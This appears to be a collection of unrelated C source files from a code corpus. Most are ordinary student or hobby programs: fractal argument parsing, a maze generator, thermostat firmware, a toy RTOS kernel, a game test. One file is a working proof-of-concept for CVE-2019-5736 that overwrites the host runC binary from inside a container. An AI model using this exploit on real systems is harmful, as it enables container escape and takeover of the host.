/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* args.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ohakola <ohakola@student.hive.fi> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/13 23:39:18 by ohakola #+# #+# */ /* Updated: 2020/02/24 16:46:45 by ohakola ### ########.fr */ /* */ /* ************************************************************************** */ #include "fractol.h" int is_valid_arg(char *arg) { int res; res = ft_strequ(arg, "mandelbrot") || ft_strequ(arg, "julia") || ft_strequ(arg, "burning_ship") || ft_strequ(arg, "bird_of_prey") || ft_strequ(arg, "julia_n") || ft_strequ(arg, "julia_mod") || ft_strequ(arg, "phoenix_mod") || ft_strequ(arg, "burning_julia") || ft_strequ(arg, "mandelbrot_n"); if (!res) log_err("Invalid argument, see usage guide", strerror(5)); return (res); } int check_args(char *arg, int *size, int *fractal) { int res; if ((res = is_valid_arg(arg))) (*size)++; if (ft_strequ(arg, "mandelbrot")) *fractal = mandelbrot; else if (ft_strequ(arg, "julia")) *fractal = julia; else if (ft_strequ(arg, "burning_ship")) *fractal = burning_ship; else if (ft_strequ(arg, "mandelbrot_n")) *fractal = mandelbrot_n; else if (ft_strequ(arg, "julia_n")) *fractal = julia_n; else if (ft_strequ(arg, "bird_of_prey")) *fractal = bird_of_prey; else if (ft_strequ(arg, "julia_mod")) *fractal = julia_mod; else if (ft_strequ(arg, "phoenix_mod")) *fractal = phoenix_mod; else if (ft_strequ(arg, "burning_julia")) *fractal = burning_julia; return (res); } static int parse_rgb(char *colorstr, int *r, int *g, int *b) { int i; i = 0; while (*colorstr) { if (!ft_isdigit(*colorstr) && *colorstr != ',') return (FALSE); if (ft_isdigit(*colorstr)) { if (i == 0) *r = ft_atoi(colorstr); if (i == 1) *g = ft_atoi(colorstr); if (i == 2) *b = ft_atoi(colorstr); i++; } while (*colorstr && (ft_isdigit(*colorstr))) colorstr++; if (*colorstr == ',') colorstr++; } if (i != 3) log_err("Wrong number of RGB ints", strerror(5)); return (i == 3); } static t_rgb *parse_rgb_str(char *colorstr, int i) { int r; int g; int b; t_rgb *rgb; if (i >= 12) return (log_err("Max 12 colors", strerror(5)) ? NULL : NULL); if (!parse_rgb(colorstr, &r, &g, &b)) return (NULL); if (!(r <= 255 && r >= 0 && g <= 255 && g >= 0 && b <= 255 && b >= 0)) { log_err("RGB values must be between or equal to 0 & 255", strerror(5)); return (NULL); } if (!(rgb = malloc(sizeof(*rgb)))) return (NULL); rgb->r = r; rgb->g = g; rgb->b = b; return (rgb); } /* ** Parse colors from format: ** -colors=244\,20\,33\|22\,30\,150 ** arg + 8 to skip to first digit. ** The parser is quite lenient on commas, ** -colors=244\,20\,33\|22\,30\,150,,, will work too ** or -colors=244\,,,,20\,,,33\|22\,,,,30\,150 */ t_colors *parse_colors(char *arg) { char **color_strs; t_rgb **colors; t_colors *color_data; int i; int size; if ((!(color_data = malloc(sizeof(*color_data))) || !(color_strs = ft_strsplit(arg + 8, '|'))) && log_err("Failed to parse colors", strerror(5))) return (NULL); i = 0; while (color_strs[i]) i++; size = i; if (!(colors = malloc(sizeof(*colors) * size)) && log_err("Failed to malloc colors", strerror(5))) return (NULL); i = -1; while (++i < size) if (!(colors[i] = parse_rgb_str(color_strs[i], i)) && log_err("Failed to parse rgb values", strerror(5))) return (NULL); color_data->colors = colors; color_data->size = size; return (free_colors_str(color_strs, size) ? color_data : NULL); }
C
/* ** EPITECH PROJECT, 2020 ** generator ** File description: ** main for generator */ #include "include/my_gen.h" #include "include/struct.h" static int check_error(int nb_args, char **args) { if (nb_args < 3 || nb_args > 4) return (84); if (str_is_num(args[1]) == 0 || str_is_num(args[2]) == 0) return (84); if (nb_args == 4 && \ (str_is_num(args[3]) == 0 || strcmp(args[3], "perfect") != 0)) return (84); return (0); } static int setup_args(int nb_args, char **args, generator_t *generator) { generator->info_maze.x = atoi(args[1]); generator->info_maze.y = atoi(args[2]); if (generator->info_maze.y == 0 || generator->info_maze.x == 0) return (84); if (nb_args == 4) generator->perfect = 1; else generator->perfect = 0; return (0); } static void free_res(generator_t *generator) { for (int i = 0; i < generator->info_maze.y; i++) free(generator->maze[i]); free(generator->maze); } int main(int nb_args, char **args) { generator_t generator; if (check_error(nb_args, args) == 84) return (84); srand(time(0)); if (setup_args(nb_args, args, &generator) == 84) return (84); generate_empty_maze(&generator); kruskal_algorithm(&generator); if (generator.perfect == 0) manage_imperfect(&generator); display_char_maze(&generator); free_res(&generator); return (1); }
C
/* * File: ui.c * Author: raykman * FINAL * Created on May 11, 2021, 9:26 PM */ #include "xc.h" #include <stdio.h> #include "DS1631.h" #include "rgbLED.h" #include "lcd.h" #include "buttons.h" #include "ui.h" #include "trigger.h" #include "spi.h" // Tracking Temperature double temp; double old_temp = 72.0; double low_temp = 73.0 ; double high_temp = 75.0, old_high_temp = 0; double temp_diff; int set = 1; extern int edit_mode; //Indicates whether we are in low, high or no edit for temp range void configure_ui(){ /* Configure UI timer */ UI_TIMER_OFF; UI_TIMER_CONFIG; UI_TIMER_RESET; UI_TIMER_PERIOD = UI_TIMER_CYCLE_TIME; //timer set to every 200 ms UI_TIMER_INTERRUPT_CONFIG; UI_TIMER_ON; } void __attribute__((__interrupt__, no_auto_psv)) _T3Interrupt(void) { UI_TIMER_ON; ui(); UI_TIMER_FLAG_CLEAR; //Clear Timer1 Interrupt flag } void ui(void){ // Update temp, system status, led, LCD panel, entry to log char high_buffer[50]; //character array to store float values char low_buffer[50]; char temp_buffer[50]; temp = DS1631_readTemp(); //Reads in temp from sensor if (temp > old_temp){ temp_diff = temp - old_temp; if (temp_diff>.3){ printf(" Temperature increased %.2f degrees to %.2f\r\n",temp_diff,temp); //Log output old_temp = temp; } } else if (temp < old_temp){ temp_diff = old_temp - temp; if (temp_diff>.3){ printf(" Temperature decreased %.2f degrees to %.2f\r\n",temp_diff,temp); // Log output old_temp = temp; } } LCDclr(); sprintf(temp_buffer,"%.1f",temp); sprintf(high_buffer,"%.0f",high_temp); sprintf(low_buffer,"%.0f",low_temp); LCDBignum(temp_buffer); // Write temp as big number LCDWrite(LCD_COMMAND,0x80); //Shifts temp range to bottom left of LCD for temp range LCDWrite(LCD_COMMAND,0x45); LCDCharacter('['); LCD_string(low_buffer); // Low temp range LCD_string(","); LCD_string(high_buffer); // High temp range LCDCharacter(']'); LCDWrite(LCD_COMMAND,0x80|55); //Shifts cursor to end of the big number LCDWrite(LCD_COMMAND,0x43); LCDCharacter('.'); LCDCharacter(temp_buffer[3]); // Adds the tenth place of temp if (temp< low_temp+.5){ // Logic to set Heating rgbLED_Set(RED); LCDFlame(); if (set){ printf(" Heat has turned on\r\n"); set = !set; } } else if(temp>high_temp+.5){ // Logic to set Cooling rgbLED_Set(BLUE); LCDSnow(); if (set){ printf(" Cooling has turned on\r\n"); set = !set; } } else{ rgbLED_Set(GREEN); // Within temp range set = 1; } if (edit_mode == LOW_EDIT){ LCDWrite(LCD_COMMAND,0x80|70); LCDWrite(LCD_COMMAND,0x40); LCDCharacter('L'); } else if (edit_mode == HIGH_EDIT){ LCDWrite(LCD_COMMAND,0x80|70); LCDWrite(LCD_COMMAND,0x40); LCDCharacter('H'); } }
C
#include <stdio.h> #include <unistd.h> #include <sys/types.h> int main(void) { pid_t idHijo; pid_t idPropio; idPropio = getpid(); //Se obtiene el id del proceso actual idHijo = fork(); //Se crea un proceso 'hijo' if (idHijo == -1) { //Si hay un código menor que cero, hubo un error printf("Error al realizar la bifurcación"); //Se notifica al usuario return 1; //Se interrumpe la ejecución del proceso con una salida distinta a cero } if (idHijo == 0) //la ejecución de la llamada al sistema fork devuelve un cero al proceso 'hijo' printf("Soy el hijo con id %ld id proceso original %ld\n", (long)getpid(), (long)idPropio); else //la ejecución de la llamada al sistema fork devuelve el identificador al proceso 'padre' printf("Soy el padre con id %ld id proceso original %ld\n", (long)getpid(), (long)idPropio); return 0; }
C
int hex_decimal(char hex[]) /* Function to convert hexadecimal to decimal. */ { int i, length, sum=0; for(length=0; hex[length]!='\0'; ++length); for(i=0; hex[i]!='\0'; ++i, --length) { if(hex[i]>='0' && hex[i]<='9') sum+=(hex[i]-'0')*pow(16,length-1); if(hex[i]>='A' && hex[i]<='F') sum+=(hex[i]-55)*pow(16,length-1); if(hex[i]>='a' && hex[i]<='f') sum+=(hex[i]-87)*pow(16,length-1); } return sum; } int octal_decimal(int n) /* Function to convert octal to decimal */ { int decimal=0, i=0, rem; while (n!=0) { rem = n%10; n/=10; decimal += rem*pow(8,i); ++i; } return decimal; } int binary_decimal(int n) /* Function to convert binary to decimal.*/ { int decimal=0, i=0, rem; while (n!=0) { rem = n%10; n/=10; decimal += rem*pow(2,i); ++i; } return decimal; }
C
#define X 10 int count; int test(int a1,int a2,double a3){ return a1+a2+a3; } int fn1(int a1,int a2){ if(a2 != 0) return a1+fn1(a1,a2-1); else return 1; } double fn2(double a1,double a2){ int i; double rtn = 0; for(i = 0;i < 10;i++) rtn += a1*i/a2; return rtn; } void fn3(){ if(count != 0) { count--; fn3(); } return ; } int main(){ int j; int fn1_result; double fn2_result; //inokawa for (j=0; j<X; j++) { test((1+j),3,4.66); fn1_result = fn1(25,(4+j)); fn2_result = fn2(2.0,4.0); count = 5+j; fn3(); } // printf("fn1 = %d,fn2 = %lf\n",fn1_result,fn2_result); return 0; }
C
#include <stdio.h> #include <math.h> #include "integral.h" int main(int argc, const char * argv[]) { double s , ptoMed; double m = h_otimo(&f, &analitica, 20); printf("h teorico = 0.1 , h que minimiza :%lf\n " , m ); printf("SIMPSON\n\n"); s = simpson(&f1, 0 , 4 , 16); printf("f1 com passo 16:%lf \n", s); s = simpson(&f1, 0 , 4 , 32); printf("f1 com passo 32: %lf\n\n", s); s = simpson(&f2, 1 , 3 , 16); printf("f2 com passo 16: %lf\n", s); s = simpson(&f2, 1 , 3 , 32); printf("f2 com passo 32:%lf \n\n", s); s = simpson(&f3, 0 , M_PI , 16); printf("f3 com passo 16: %lf\n", s); s = simpson(&f3, 0 , M_PI , 32); printf("f3 com passo 32: %lf \n\n", s); printf("PONTO MEDIO\n\n"); ptoMed = pontomedio(&f1, 0 , 4 , 16); printf("f1 com passo 16:%lf \n", ptoMed); ptoMed = pontomedio(&f1, 0 , 4 , 32); printf("f1 com passo 32:%lf \n\n", ptoMed); ptoMed = pontomedio(&f2, 1 , 3 , 16); printf("f2 com passo 16:%lf \n", ptoMed); ptoMed = pontomedio(&f2, 1 , 3 , 32); printf("f2 com passo 32:%lf \n\n", ptoMed); ptoMed = pontomedio(&f3, 0 , M_PI , 16); printf("f3 com passo 16:%lf \n", ptoMed); ptoMed = pontomedio(&f3, 0 , M_PI , 32); printf("f3 com passo 32:%lf \n\n", ptoMed); printf("Sim o passo influencia na resposta e a mais precisa e a regra de Simpson"); return 0; }
C
#include "readline.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, const char *argv[]) { const int SERVER_PORT = 4000; int sfd; char *ip = "172.17.0.1"; struct sockaddr_in server_addr; /* 初始化 */ bzero(&server_addr,sizeof(server_addr)); /* 初始化socket */ sfd = socket(AF_INET,SOCK_STREAM,0); server_addr.sin_family = AF_INET; /* 将ip转换为网络字节序 */ inet_pton(AF_INET,ip,&server_addr.sin_addr.s_addr); server_addr.sin_port = htons(SERVER_PORT); connect(sfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr_in)); close(sfd); return 0; }
C
#include<stdio.h> int main(){ int n, m; int arr[500]; int task[500]; int done[500] = {0}; int proc[2][500][500]; int mac[500]; scanf("%d%d", &n, &m); for (int i = 0;i < m;++i){ scanf("%d%d", &arr[i], &task[i]); for (int j = 0;j < task[i];++j) scanf("%d%d", &proc[0][i][j], &proc[1][i][j]); } while (1){ int fl = 1; for (int i = 0;i < m;++i){ if(done[i] != task[i]) fl = 0; } if(fl) break; int mintime = 1500000, num; for (int i = 0;i < m;++i){ if (done[i] == task[i]) continue; int star = (mac[proc[0][i][done[i]]] > arr[i]?mac[proc[0][i][done[i]]]:arr[i]); if (star + proc[1][i][done[i]] < mintime){ mintime = star + proc[1][i][done[i]]; num = i; } } mac[proc[0][num][done[num]]] = mintime; arr[num] = mintime; ++done[num]; } for (int i = 0;i < m;++i) printf("%d\n", arr[i]); return 0; }
C
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <ctype.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> // make these values global for fast execution speed char path[20]; char buf[100]; int pid_aoti(char *s, uint8_t len) { // for (int i=0; i<len; i++) // { // if( ! isdigit(s[i])) // return 0; // } /* We do not have to check every letter, * cause atoi will return 0 if input string is not a valid number. * And pid here can not be 0, so glad to see that. */ return (uint32_t)atoi(s); } // getppid() from GNU C Lib can not return the ppid of a specific pid, damn. /* int get_ppid(int pid) { sprintf(path, "/proc/%d/status", pid); int fd = open(path, O_RDONLY); //TODO return 0; } */ int dirtywork(char *fdpath) { char buf[] = "#!/bin/bash\n\ echo -e '\\n\\n\\n\\n\\r\ ========================================\\n\\r\ ===== Exploit for CVE-2019-5736 =====\\n\\r\ ===== @Author github:kings-way =====\\n\\r\ ===== @Date 20190212 =====\\n\\r\ ========================================\\n\\r\ \n\n\n\\n\\r' > /proc/self/fd/1\n\ exit -1\n\0"; int fd=0; // sleep 1 seconds to wait runc exits, otherwise we will encounter "Text file busy" Error. sleep(1); if( (fd = open(fdpath, O_RDWR)) == -1) perror("Open with O_RDWR Error"); else if(write(fd, buf, strlen(buf)) == -1) perror("Write runC Error"); else { printf("LOL! Write runC Success, quitting in 2 seconds\n"); exit(0); } close(fd); return 0; } int open_path() { int fd = open(path, O_PATH); if(fd == -1) { perror("Open with O_PATH Error"); return -1; } return fd; } void check_exe(uint32_t pid) { // If ppid is 0, it means the parent is from another namespace. // That's what we want here. // if(get_ppid() != 0) // return; sprintf(path, "/proc/%d/exe", pid); int len=0; if((len=readlink(path, buf, 99))>0) { buf[len] = '\0'; printf("%s ==> %s\n",path, buf); if(strcmp(buf, "/usr/bin/docker-runc") == 0 || strcmp(buf, "/usr/sbin/docker-runc") == 0 || strcmp(buf, "/usr/libexec/docker/docker-runc-current") == 0) { // try to open file with O_PATH int fd = open_path(); if(fd != -1) { char tmp[50]; sprintf(tmp, "/proc/%d/fd/%d", getpid(), fd); printf("\nOpened with fd: %s\n", tmp); dirtywork(tmp); } } else if(strncmp(buf, "/memfd:runc_cloned:/proc/self/exe", 18) == 0) { printf("Already the new runc using memfd, not exploitable, quitting"); exit(0); } else { printf("EXE is not runc, skip..."); } } else { perror("Readlink Error"); exit(-1); } return; } int main(int argc, char **argv) { if(strcmp(argv[0], "bash") == 0) { printf("This is a fake bash program only for demo. Quitting in 2 secs\n"); sleep(2); return 0; } struct dirent *dir; DIR *d = opendir("/proc"); uint32_t pids[1000] = {0}; uint32_t count = 0; uint32_t i, pid = 0; while(1) { rewinddir(d); while((dir = readdir(d)) != NULL) { if( (pid = pid_aoti(dir->d_name, (uint8_t)strlen(dir->d_name))) ) { for (i=0; i<count; i++) if(pids[i] == pid) break; if (i != count) continue; pids[count++] = pid; printf("\n\nNew PID: %d ", pid); check_exe(pid); } } } closedir(d); return 0; }
C
#include <stdlib.h> #include "ghostTetro.h" BlockList * jumpToLastBlock(BlockList * blockList); extern BlockList * createGhostBlock(int x, int y,BlockList * ghostBlocks){ BlockList * new = malloc(sizeof(BlockList)); new->next = NULL; new->x = x; new->y = y; if(ghostBlocks == NULL){ return new; }else{ jumpToLastBlock(ghostBlocks)->next = new;; return ghostBlocks; } } BlockList * jumpToLastBlock(BlockList * blockList){ if(blockList == NULL){ return NULL; } while(blockList->next != NULL){ blockList = blockList->next; } return blockList; }
C
/* * LinearMaxSubarray.c * * Created on: 2018. 12. 22. * Author: Hanjun */ #include <stdio.h> void findMaximumSubarrayLinear(int*,int, int*); //implement the functions below. all they do is print. void printArray(int*, int, char*); void printArrayVals(int*, int, int, char*); int main(void){ int A[16] = {13, -3, -25, 20, -3, -16, -23, 18, 20, -7, 12, -5, -22, 15, -4, 7}; int result[3]; findMaximumSubarrayLinear(A,16,result); printArray(result, 3, "iBegin, iEnd, sum"); printArrayVals(A, result[0], result[1], "maximum nonempty subarray"); //to keep the program alive after printArray function has returned. char key; printf("Press any key to quit\n>> "); scanf("%c",&key); return 0; } void findMaximumSubarrayLinear(int* arr, int size, int* res){ // maximum subarray from A[1, .... ,j] int maxSum = arr[0]; int maxSumLow = 0; int maxSumHigh = 0; // maximum subarray ending at j, subarray in form A[...j] int tailMaxSum = arr[0]; int tailMaxSumLow = 0; int j = 0; while(++j < size){ if(tailMaxSum > 0){ tailMaxSum += arr[j]; }else{ tailMaxSum = arr[j]; tailMaxSumLow = j; } if(tailMaxSum > maxSum){ maxSum = tailMaxSum; maxSumLow = tailMaxSumLow; maxSumHigh = j; } } res[0] = maxSumLow; res[1] = maxSumHigh; res[2] = maxSum; }
C
#include <locale.h> #include <stdio.h> int main(void) { float n,k,s; int i; setlocale(LC_ALL, "Rus"); k = 0.1; printf(" \n"); scanf_s("%f", &n); for (i = 0; i < 10; i++) { s = n * k; k = k + 0.1; printf("%.2f \n", s); } return 0; }
C
#include<stdio.h> int main() { int I=1,J=60; printf("I=%d J=%d\n",I,J); while(J != 0) { I = I + 3; J = J - 5; printf("I=%d J=%d\n",I,J); } return 0; }
C
#include "defines.h" #include "kozos.h" #include "intr.h" #include "interrupt.h" #include "syscall.h" #include "lib.h" #define THREAD_NUM 6 // TCB の個数 #define PRIORITY_NUM 16 // 優先度の個数 #define THREAD_NAME_SIZE 15 // スレッド名の最大長 // スレッドコンテキスト // スレッドのコンテキスト保存用の構造体の定義 typedef struct _kz_context { uint32 sp; // スタックポインタ // 汎用レジスタはスタックに保存されるので、 // TCB にコンテキストとして保存するのはスタックポインタのみ } kz_context; // タスク・コントロール・ブロック (TCB) 定義 typedef struct _kz_thread { struct _kz_thread *next; // レディ・キューへの接続に利用する next ポインタ char name[THREAD_NAME_SIZE + 1]; // スレッド名 int priority; // 優先度 char *stack; // スレッドのスタック uint32 flags; // 各種フラグ #define KZ_THREAD_FLAG_READY (1 << 0) struct { // スレッドのスタートアップ thread_init() に渡すパラメータ kz_func_t func; // スレッドのメイン関数 int argc; // スレッドのメイン関数に渡す argc char **argv; // スレッドのメイン関数に渡す } init; // システムコールの発行時に利用するパラメータ領域 struct { // システムコール用バッファ kz_syscall_type_t type; kz_syscall_param_t *param; } syscall; kz_context context; // スレッドのコンテキスト情報の保存領域 } kz_thread; // スレッドのレディーキュー static struct { kz_thread *head; // レディ・キューの先頭のエントリ kz_thread *tail; // レディ・キューの末尾のエントリ } readyque[PRIORITY_NUM]; // レディキューを優先度の個数に合わせて配列化 static kz_thread *current; // カレント・スレッド static kz_thread threads[THREAD_NUM]; // タスク・コントロール・ブロック static kz_handler_t handlers[SOFTVEC_TYPE_NUM]; // 割込みハンドラ // スレッドのディスパッチ用関数 (実体は startup.s) void dispatch(kz_context *context); // カレント・スレッドをレディ・キューから抜き出す static int getcurrent(void) { // レディ・キューからカレント・スレッドを抜き出す if (current == NULL) { return -1; } if (!(current->flags & KZ_THREAD_FLAG_READY)) { // すでに無い場合は無視 return 1; } // カレントスレッドは必ず先頭にあるはずなので、先頭から抜き出す readyque[current->priority].head = current->next; if (readyque[current->priority].head == NULL) { readyque[current->priority].tail = NULL; } current->flags &= ~KZ_THREAD_FLAG_READY; // Sleep 以降状態でレディ・キューから外す // エントリをリンクリストから抜き出したので next ポインタをクリアしておく current->next = NULL; return 0; } // カレント・スレッドをレディ・キューにつなげる static int putcurrent(void) { // レディ・キューの末尾にカレント・スレッドをつなげる if (current == NULL) { return -1; } if(current->flags & KZ_THREAD_FLAG_READY) { // すでにある場合は無視 return 1; } // カレント・スレッドをレディ・キューの末尾に接続する if (readyque[current->priority].tail) { readyque[current->priority].tail->next = current; } else { readyque[current->priority].head = current; } readyque[current->priority].tail = current; current->flags |= KZ_THREAD_FLAG_READY; // Ready 状態でレディ・キューに戻す return 0; } // スレッドの終了 static void thread_end(void) { kz_exit(); } // スレッドのスタートアップ static void thread_init(kz_thread *thp) { // スレッドのメイン関数を呼び出す thp->init.func(thp->init.argc, thp->init.argv); thread_end(); // メイン関数から戻ったらスレッドを終了する } // システムコールの処理 kz_run():スレッドの起動 static kz_thread_id_t thread_run(kz_func_t func, char *name, int priority, int stacksize, int argc, char* argv[]) { int i; kz_thread *thp; uint32 *sp; extern char userstack; // リンカスクリプトで定義されているスタック領域 static char *thread_stack = &userstack; // ユーザスタックに利用される領域 // 空いているタスク・コントロール・ブロックを検索 for (i = 0; i < THREAD_NUM; i++) { thp = &threads[i]; if (!thp->init.func) // 見つかった break; } if (i == THREAD_NUM) // 見つからなかった return -1; memset(thp, 0, sizeof(*thp)); // TCB をゼロクリアする // タスク・コントロール・ブロック (TBC) の設定 各種パラメータを設定 strcpy(thp->name, name); thp->next = NULL; thp->priority = priority; thp->flags = 0; thp->init.func = func; thp->init.argc = argc; thp->init.argv = argv; // スタック領域を獲得して TCB に設定 memset(thread_stack, 0, stacksize); thread_stack += stacksize; thp->stack = thread_stack; // スタックを設定 // スタックの初期化 // スタックに thread_init() からの戻り先として thread_end() を設定する sp = (uint32 *)thp->stack; *(--sp) = (uint32)thread_end; // // プログラム・カウンタを設定する // スレッドの優先度がゼロの場合には、割込み禁止スレッドとする // // ディスパッチ時にプログラムカウンタに格納される値としてthread_init() を設定する。 // よってスレッドは thread_init() から動作を開始する *(--sp) = (uint32)thread_init | ((uint32)(priority ? 0 : 0xc0) << 24); *(--sp) = 0; // ER6 *(--sp) = 0; // ER5 *(--sp) = 0; // ER4 *(--sp) = 0; // ER3 *(--sp) = 0; // ER2 *(--sp) = 0; // ER1 // スレッドのスタートアップ thread_init() に渡す引数 *(--sp) = (uint32)thp; // ER0 第一引数 // スレッドのコンテキストを設定 thp->context.sp = (uint32)sp; // コンテキストとしてスタックポインタを保存 // システムコールを呼び出したスレッドをレディ・キューに戻す putcurrent(); // 新規作成したスレッドをレディ・キューに接続する current = thp; putcurrent(); // 新規作成したスレッドのスレッド ID を戻り地として返す return (kz_thread_id_t)current; } // システム・コールの処理 kz_exit():スレッドの終了 static int thread_exit(void) { // // 本来ならスタックも開放して再利用できるようにすべきだが省略 // このため、スレッドを頻繁に生成・消去するようなことは現状でできない // // 終了時のメッセージとして <スレッド名> EXIT. を出力 puts(current->name); puts(" EXIT.\n"); memset(current, 0, sizeof(*current)); // TCB をクリアする return 0; } // システム・コールの処理 kz_wait():スレッドの実行権放棄 static int thread_wait(void) { putcurrent(); // レディ・キューからいったん外して接続し直すことで、 // ラウンドロビンで他のスレッドを動作させる return 0; } // システム・コールの処理 kz_sleep():スレッドのスリープ static int thread_sleep(void) { return 0; // レディ・キューから外されたままになるので、スケジューリングされなくなる } // システム・コールの処理 kz_wakeup():スレッドのウェイクアップ static int thread_wakeup(kz_thread_id_t id) { // ウェイクアップを呼び出したスレッドをレディ・キューに戻す putcurrent(); // 引数で指定されたスレッドをレディ・キューに接続してウェイク・アップする current = (kz_thread *)id; putcurrent(); return 0; } // システム・コールの処理 kz_getid():スレッド ID 取得 static kz_thread_id_t thread_getid(void) { putcurrent(); return (kz_thread_id_t)current; // TCB のアドレスがスレッド ID となる } // システム・コールの処理 kz_chpri():スレッドの優先度変更 static int thread_chpri(int priority) { int old = current->priority; if (priority >= 0) current->priority = priority; // 優先度変更 putcurrent(); return old; } // 割込みハンドラの登録 static void thread_intr(softvec_type_t type, unsigned long sp); static int setintr(softvec_type_t type, kz_handler_t handler) { // // 割込みを受け付けるために、ソフトウェア割込みベクタに // OSの割込み処理の入口となる関数を登録する // softvec_setintr(type, thread_intr); handlers[type] = handler; // OS 側から呼び出す割込みハンドラを登録 return 0; } // システム・コールの処理関数の呼び出し static void call_functions(kz_syscall_type_t type, kz_syscall_param_t * p) { // システム・コールの実行中に current が書き換わるので注意 switch(type) { case KZ_SYSCALL_TYPE_RUN: // kz_run() p->un.run.ret = thread_run(p->un.run.func, p->un.run.name, p->un.run.priority, p->un.run.stacksize, p->un.run.argc, p->un.run.argv); break; case KZ_SYSCALL_TYPE_WAIT: // kz_wait() p->un.wait.ret = thread_wait(); break; case KZ_SYSCALL_TYPE_SLEEP: // kz_sleep() p->un.sleep.ret = thread_sleep(); break; case KZ_SYSCALL_TYPE_WAKEUP:// kz_wakeup() p->un.wakeup.ret = thread_wakeup(p->un.wakeup.id); break; case KZ_SYSCALL_TYPE_GETID: // kz_getid() p->un.getid.ret = thread_getid(); break; case KZ_SYSCALL_TYPE_CHPRI: // kz_chpri() p->un.chpri.ret = thread_chpri(p->un.chpri.priority); break; case KZ_SYSCALL_TYPE_EXIT: // kz_exit() // TCB が削除されるので、戻り値を書き込んではいけない thread_exit(); break; default: break; } } // システム・コールの処理 static void syscall_proc(kz_syscall_type_t type, kz_syscall_param_t * p) { // // システム・コールを呼び出したスレッドをレディ・キューから // 外した状態で処理関数を呼び出す。このためシステム・コールを // 呼び出したスレッドをそのまま動作継続させたい場合には、 // 処理関数の内部で putcurrent() を行う必要がある // getcurrent(); call_functions(type, p); } // スレッドのスケジューリング static void schedule(void) { int i; // // 優先順位の高い順(優先度の数値の小さい順)にレディキューを見て // 動作可能なスレッドを検索する // for (i = 0; i < PRIORITY_NUM; i++) { if (readyque[i].head) // 見つかった break; } if (i == PRIORITY_NUM) // 見つからなかった kz_sysdown(); current = readyque[i].head; // カレントスレッドに設定する } // システム・コールの呼び出し static void syscall_intr(void) { syscall_proc(current->syscall.type, current->syscall.param); } // ソフトウェア・エラーの発生 static void softerr_intr(void) { // ソフトウェア・エラーが発生した場合には、スレッドを強制終了する puts(current->name); puts(" DOWN.\n"); getcurrent(); thread_exit(); } // 割込み処理の入口関数 static void thread_intr(softvec_type_t type, unsigned long sp) { // カレント・スレッドのコンテキストを保存する current->context.sp = sp; // // 割込みごとの処理を実行する。 // SOFTVEC_TYPE_SYSCALL, SOFTVEC_TYPE_SOFTERR の場合は // syscall_intr(), softerr_intr() がハンドラに登録されているので // それらが実行される // if (handlers[type]) handlers[type](); // 割込みに対応した各ハンドラを実行する schedule(); // スレッドのスケジューリング // // スレッドのディスパッチ // (dispatch() 関数の本体は startup.s にあり、アセンブラで記述されている) // dispatch(&current->context); // ここには返ってこない } void kz_start(kz_func_t func, char *name, int priority, int stacksize, int argc, char *argv[]) { // // 以降で呼び出すスレッド間のライブラリ関数の内部で current を // 見ている場合があるので、current を NULL に初期化しておく // current = NULL; // 各種データの初期化 memset(readyque, 0, sizeof(readyque)); memset(threads, 0, sizeof(threads)); memset(handlers, 0, sizeof(handlers)); // 割込みハンドラの登録 setintr(SOFTVEC_TYPE_SYSCALL, syscall_intr); // システム・コール setintr(SOFTVEC_TYPE_SOFTERR, softerr_intr); // ダウン要因 // システム・コール発行不可なので直接関数を呼び出してスレッド作成する current = (kz_thread *)thread_run(func, name, priority, stacksize, argc, argv); // 最初のスレッドを起動 dispatch(&current->context); // ここには返ってこない } // OS 内部で致命的エラーが発生した場合にはこの関数を呼ぶ void kz_sysdown(void) { // エラーメッセージを出力 puts("system error!\n"); // 無限ループに入って停止する while(1) ; } // システム・コール呼び出し用ライブラリ関数 void kz_syscall(kz_syscall_type_t type, kz_syscall_param_t *param) { current->syscall.type = type; // システム・コール番号の設定 current->syscall.param = param; // パラメータの設定 asm volatile ("trapa #0"); // トラップ割込み発行 }
C
#include "dominion.h" #include "dominion_helpers.h" #include "rngs.h" #include "assert.h" #include <stdio.h> #include <stdlib.h> #include <math.h> int main(int argc, char** argv){ //card test for embargo struct gameState G; int k[10] = {adventurer, council_room, feast, gardens, mine, smithy, village, baron, great_hall, embargo}; int c; int c2; int e; int e2; initializeGame(2, k, 4, &G); c = G.coins; e = G.embargoTokens[0]; cardEffect(embargo, 0, 0, 0, &G, 0, 0); c2 = G.coins; e2 = G.embargoTokens[0]; assert(c2 == c + 2); assert(e2 == e + 1); printf("Unit test for embargo passed\n"); return 0; }
C
#include<stdio.h> int main(){ int i, j,temp, a[10], flag=0; printf("the element of arrey is \n"); for(i=0;i<10;i++){ scanf("%d", &a[i]); } printf("prime numbers are\n"); for(i=0;i<10;i++){ flag=0; for(j=2;j<a[i];j++){ if(a[i]%j==0){ flag=1; break; } } if(flag==0){ printf("%d ", a[i]); } } return 0; }
C
#include <sys/types.h> #include <grp.h> #include "_grp.h" struct group * getgrgid(gid_t gid) { struct group *grp = NULL; setgrent(); while ((grp = getgrent()) != NULL) { if (grp->gr_gid == gid) { endgrent(); return grp; } } endgrent(); return NULL; } /* POSIX(1) */
C
#include "std_lib.h" // needed because printf may be rewritten to call helpers defined here int printf( const char *restrict format, ... ); void test(unsigned int A, unsigned int B, unsigned int C, unsigned int D) { printf("%x %x %x %x\n", A, B, C, D); unsigned int bxor, bor, band, bandnot, bornot; bxor = A ^ B ^ C ^ D; bor = A | B | C | D; band = A & B & C & D; bandnot = (A & ~B) ^ (C & ~D); bornot = (A | ~B) ^ (C | ~D); printf("%x %x %x %x %x\n", bxor, bor, band, bandnot, bornot); } int main() { test((unsigned)7, (unsigned)8, (unsigned)-5, (unsigned)5); return 0; }
C
